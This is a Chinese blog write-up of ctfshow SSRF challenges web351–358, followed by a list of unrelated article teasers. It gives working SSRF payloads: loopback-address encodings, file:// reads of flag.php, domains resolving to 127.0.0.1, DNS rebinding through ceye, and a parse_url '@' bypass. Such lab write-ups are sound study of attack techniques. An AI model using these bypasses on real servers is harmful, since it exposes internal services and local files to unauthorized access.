当前位置: 首页 > news >正文

【Web】Ctfshow SSRF刷题记录1

核心代码解读

<?php
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
?>

    curl_init():初始curl会话
    curl_setopt():会话设置
    curl_exec():执行curl会话,获取内容
    curl_close():会话关闭
 

①web351

post:

url=http://127.0.0.1/flag.php

或者

url=file:///var/www/html/flag.php

查看源码

 

②web352-353

 

前置知识:

127.1会被解析成127.0.0.1,也就意味着为零可缺省
在Linux中,0也会被解析成127.0.0.1
127.0.0.0/8是一个环回地址网段,从127.0.0.1 ~ 127.255.255.254都表示localhost
ip地址还可以通过表示成其他进制的形式访问,IP地址二进制、十进制、十六进制互换

post:

url=http://0/flag.php

url=http://127.1/flag.php 

url=http://0x7f.0.0.1/flag.php

url=http://0x7F000001/flag.php

③web354

一些公共域名,但是解析到127.0.0.1 

post:

 url=http://ecd.tencent.com/flag.php

(当我们访问域名时会把我们引入设置的A记录,这里就是127.0.0.1,感觉就像给域名重起了个名字)

⑤web355-356

 

 

也就是长度限制

post:

url=http://0/flag.php

⑥web357

FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP
FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP
FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP (比如 192.168.0.1)
FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值。
 

 因为代码中使用了 gethostbyname 获取了真实 IP 地址,所以域名指向方法不能再使用,可以使用 302 跳转方法 和 dns rebinding 方法。

DNS rebinding(DNS重新绑定攻击)

攻击重点在于DNS服务能够在两次DNS查询中返回不同的IP地址,第一次是真正的IP,第二次是攻击目标IP地址,甚至可以通过这种攻击方法绕过同源策略。
 

回到题目,在题目代码中一共对域名进行了两次请求,第一次是 gethostbyname 方法,第二次则是 file_get_contents 文件读取,可以通过 DNS重绑定 来实现攻击。

去CEYE 注册账号,在个人信息页面,点击下面的+ New DNS,添加127.0.0.1和124.222.136.33(随便一个可用的ip)。

翻阅ceye的DNS Rebinding页面的介绍,有这么一句话:

    If your identifier is abcdef.ceye.io, then your DNS rebinding host is r.abcdef.ceye.io.

所以要使用DNS重定向,我们要在域名前面加上r.

多试几次即可(每次都是随机返回一个设置的IP,所以可能大概率碰运气)

 

⑦web358

正则,必须要以http://ctf.开头,以show结尾

parse_url()解析到邮箱时:@前是user

file_get_contents()会访问host:port/path,与user无关

post:

url=http://ctf.@127.0.0.1/flag.php#show

还有两题后续专门总结

 

相关文章:

【Web】Ctfshow SSRF刷题记录1

核心代码解读 <?php $url$_POST[url]; $chcurl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $resultcurl_exec($ch); curl_close($ch); ?> curl_init()&#xff1a;初始curl会话 curl_setopt()&#xff1a;会…...

【算法挨揍日记】day30——300. 最长递增子序列、376. 摆动序列

300. 最长递增子序列 300. 最长递增子序列 题目解析&#xff1a; 给你一个整数数组 nums &#xff0c;找到其中最长严格递增子序列的长度。 子序列 是由数组派生而来的序列&#xff0c;删除&#xff08;或不删除&#xff09;数组中的元素而不改变其余元素的顺序。例如&#…...

ROS2对比ROS1的一些变化与优势(全新安装ROS2以及编译错误处理)《1》

1、概述 我们在前面介绍的ROS&#xff0c;都是ROS1的版本&#xff0c;近期对机器狗进行学习的时候&#xff0c;发现版本是ROS2了&#xff0c;也发现平时习惯的一些命令都有了变化&#xff0c;改变还是挺大的&#xff0c;不过熟悉之后还是很习惯ROS2的写法。 ROS2不是在ROS1的基…...

基于单片机PM2.5监测系统仿真设计

**单片机设计介绍&#xff0c; 基于单片机PM2.5监测系统仿真设计 文章目录 一 概要简介设计目标系统组成工作流程仿真设计结论 二、功能设计设计思路 三、 软件设计原理图 五、 程序六、 文章目录 一 概要 # 基于单片机PM2.5监测系统仿真设计介绍 简介 PM2.5&#xff08;可吸…...

CRM系统中的联系人是什么?如何进行联系人管理?

上手CRM系统前掌握专业术语是必要的功课&#xff0c;在第一次使用CRM系统时小编和大家一样&#xff0c;分不清楚线索、联系人、客户、商机之间的关系&#xff0c;今天我们就来着重分享一下CRM中联系人是什么&#xff1f;如何进行联系人管理&#xff1f; CRM系统联系人是指能够…...

uniapp:如何实现点击图片可以全屏展示预览

这个需要使用uniapp中的api&#xff1a;uni.previewImage&#xff0c;使用方法如下 1、html <template><view><image src"图片路径" click"preview"></image></view> </template> 2、JavaScript <script> e…...

python运行hhsearch二进制命令的包装器类

hhsearch 是 HMM-HMM&#xff08;Hidden Markov Model to Hidden Markov Model&#xff09;比对方法的一部分&#xff0c;属于 HMMER 软件套件。它用于进行蛋白质序列的高效比对&#xff0c;特别适用于检测远缘同源性。 以下是 hhsearch 的一些主要特点和用途&#xff1a; HMM…...

Java 网络编程、e-mail、多线程编程

一、Java 网络编程&#xff1a; 网络编程时指编写运行在多个设备的程序&#xff0c;这些设备通过网络连接起来。 Java.net包中的J2SE的API包含有类和接口&#xff0c;提供低层次的通信细节。 java.net 包中提供了两种常见的网络协议的支持&#xff1a; TCP&#xff1a;TCP&…...

为虚幻引擎开发者准备的Unity指南

目录 1.前言2.编辑器2.1 Scene 视图&#xff08;视口&#xff09;2.2 Game 视图 (Play in Editor)2.3.Hierarchy 窗口 (World Outliner)2.4 Project 窗口(Content Browser)2.5 Inspector (Details)2.6 Console&#xff08;消息视图/输出日志&#xff09;2.7 Modes 面板在哪里&a…...

Vue 2使用element ui 表格不显示

直接修改package.json文件 把这两个依赖修改成对应的 删除node_modules 重新安装依赖 重启...

C++学习 --文件

文件操作步骤&#xff1a; 1&#xff0c; 包含头文件#include<fstream> 2&#xff0c; 创建流对象&#xff1a;ofstream ofs 3&#xff0c; 打开文件&#xff1a;ofs.open("文件路径"&#xff0c; 打开方式) 4&#xff0c; 写数据&#xff1a;ofs <<…...

java/Android:将字符串按数量分割

分割成数组 import java.util.Arrays;/*** Java将字符串按照指定长度分割成字符串数组*/ public class StringUtils {public static void main(String[] args){String data "227d77a7a244c7b2be3180f2d46be352f56ddf92866692f2cac797358097e5a3e90f6d20bb96bc516a4ab9c0…...

JVM 监控命令详解

文章目录 JDK 中与常用命令行工具jpsjstatjinfojmap导出 dump 文件查看堆内存信息 jstack JVM 可视化分析工具 JDK 中与常用命令行工具 jps 查看当前服务器正在执行的 Java 进程 $> jps 7584 Application 16433 AdminApplication 14209 Jps 5813 Bootstrap 5575 TestApplic…...

TEE威胁评分与评级

目录 一、攻击潜力 1.1 攻击潜力网格 1、实际经过的时间: 2、访问TOE(目标设备)...

-bash: ./deploy.sh: /bin/bash^M: bad interpreter: No such file or directory

文章目录 场景解决 场景 jenkins 发布失败, 报错ERROR: Exception when publishing, exception message [Exec exit status not zero. Status [126]], 这说明远程服务器的deploy.sh执行失败, 首先检查权限&#xff0c;没有发现问题&#xff0c;然后手动执行一遍又报错"-ba…...

【文末送书】十大排序算法C++代码实现

欢迎关注博主 Mindtechnist 或加入【智能科技社区】一起学习和分享Linux、C、C、Python、Matlab&#xff0c;机器人运动控制、多机器人协作&#xff0c;智能优化算法&#xff0c;滤波估计、多传感器信息融合&#xff0c;机器学习&#xff0c;人工智能等相关领域的知识和技术。关…...

vue-waterfall2 实现瀑布流,及总结的问题

注意&#xff1a;引入需要在主界面引入&#xff0c;直接在组件中引用会有问题 1.安装 npm install vue-waterfall21.8.20 --save &#xff08;提示&#xff1a;一定要安装1.8.20&#xff0c;最新版会有一部分问题&#xff09; 2.打开main.js文件 import waterfall from v…...

grafana二次启动失败

背景 安装grafana后启动使用正常&#xff0c;但是关机后再启动显示启动失败&#xff0c;但是看日志又没有报错信息&#xff0c;但是就是启动不了 原因分析 其实是/var/lib/grafana/grafana.db文件损坏了&#xff0c;所以需要把这个文件删掉之后重新启动就正常了&#xff0c;…...

C/C++杂谈-printf的可变参数机制

C/C杂谈-printf的可变参数机制 文章目录 C/C杂谈-printf的可变参数机制printf的使用printf的源码源码剖析 多参数实现机制原理 C11引入了可变参数模板机制&#xff0c;对模板参数进行了高度泛化&#xff0c;但是对于可变参数其实C语言学习中早已遇到过&#xff0c;那就是printf…...

es基本语法 (kibana)

#添加 (不添加id默认会生成id) POST /cj/test {"name":"jack","sex":"1","age":12 } #添加 (id为第5个的) POST /cj/test/5 {"name":"jackson","sex":"1","age":12 } #条…...

开箱即用!Gemma-3-12B-IT WebUI一键部署与使用指南

开箱即用&#xff01;Gemma-3-12B-IT WebUI一键部署与使用指南 1. 项目概述 Gemma-3-12B-IT是Google最新推出的第三代开源大语言模型&#xff0c;相比前两代在推理能力、多语言支持和运行效率上都有显著提升。这个120亿参数的模型在性能和部署成本间取得了良好平衡&#xff0…...

OpenClaw文件访问控制插件:构建AI代理安全防护层

1. 项目概述&#xff1a;为OpenClaw构建文件访问控制层 如果你正在运行一个多用户的OpenClaw智能体&#xff0c;尤其是在Slack、Discord这类团队协作平台上&#xff0c;一个核心的安全隐患会立刻浮现&#xff1a;聊天室里的任何一个人&#xff0c;都可以直接要求AI去修改你的技…...

超轻量AI助手Nanobot:十分钟部署个人智能体,告别重型框架

1. 项目概述&#xff1a;为什么我们需要一个超轻量级AI助手&#xff1f; 如果你和我一样&#xff0c;在过去一年里尝试过各种AI助手框架&#xff0c;从LangChain到AutoGen&#xff0c;再到一些新兴的Agent平台&#xff0c;那你大概率会和我有同样的感受&#xff1a; 太重了 …...

extract-video-ppt:从视频中智能提取PPT内容的终极解决方案

extract-video-ppt&#xff1a;从视频中智能提取PPT内容的终极解决方案 【免费下载链接】extract-video-ppt extract the ppt in the video 项目地址: https://gitcode.com/gh_mirrors/ex/extract-video-ppt 在数字化学习与知识传播的时代&#xff0c;视频已成为信息传递…...

Llama 3.2 Vision轻量微调实战:500图打造电商级图文生成模型

1. 项目概述&#xff1a;为什么我们要亲手微调一个视觉语言模型&#xff1f;你有没有遇到过这样的场景&#xff1a;电商运营同事凌晨三点发来一张模糊的手机拍摄图&#xff0c;配文“快帮我写个爆款标题”&#xff0c;而你盯着这张图反复放大、截图、百度识图、翻竞品页面&…...

CANN Runtime API 参考

Runtime API 参考 【免费下载链接】runtime 本项目提供CANN运行时组件和维测功能组件。 项目地址: https://gitcode.com/cann/runtime 1. 概述 2. 初始化与去初始化 3. 运行时配置 4. Device管理 5. Context管理 6. Stream管理 7. Event管理 8. Notify管理 9. Cn…...

在Windows系统上快速配置Taotoken的Python调用环境

&#x1f680; 告别海外账号与网络限制&#xff01;稳定直连全球优质大模型&#xff0c;限时半价接入中。 &#x1f449; 点击领取海量免费额度 在Windows系统上快速配置Taotoken的Python调用环境 对于使用Windows系统的开发者来说&#xff0c;快速搭建一个能够调用大模型API的…...

多模态大模型如何重塑科学教育:从理论框架到课堂实践

1. 项目概述&#xff1a;当科学教育遇见“多模态”大脑最近几年&#xff0c;我身边不少从事科学教育&#xff08;从K12到大学&#xff09;的朋友和同事&#xff0c;都在不约而同地讨论一个词&#xff1a;多模态大语言模型。起初&#xff0c;大家只是把它当作一个更聪明的聊天机…...

【SITS2026独家前瞻】:AI技术大会同期活动5大不可错过的隐藏议程与入场暗号

更多请点击&#xff1a; https://intelliparadigm.com 第一章&#xff1a;SITS2026大会同期活动全景导览 SITS2026&#xff08;Smart Infrastructure & Technology Summit 2026&#xff09;同期活动覆盖技术实践、产业对接与开发者赋能三大维度&#xff0c;形成“主论坛12…...

CANN/runtime多Stream同步示例

2_multi_stream 【免费下载链接】runtime 本项目提供CANN运行时组件和维测功能组件。 项目地址: https://gitcode.com/cann/runtime 描述 本样例展示了多个Stream之间流间任务同步功能。 产品支持情况 本样例支持以下产品&#xff1a; 产品是否支持Atlas A3 训练系列…...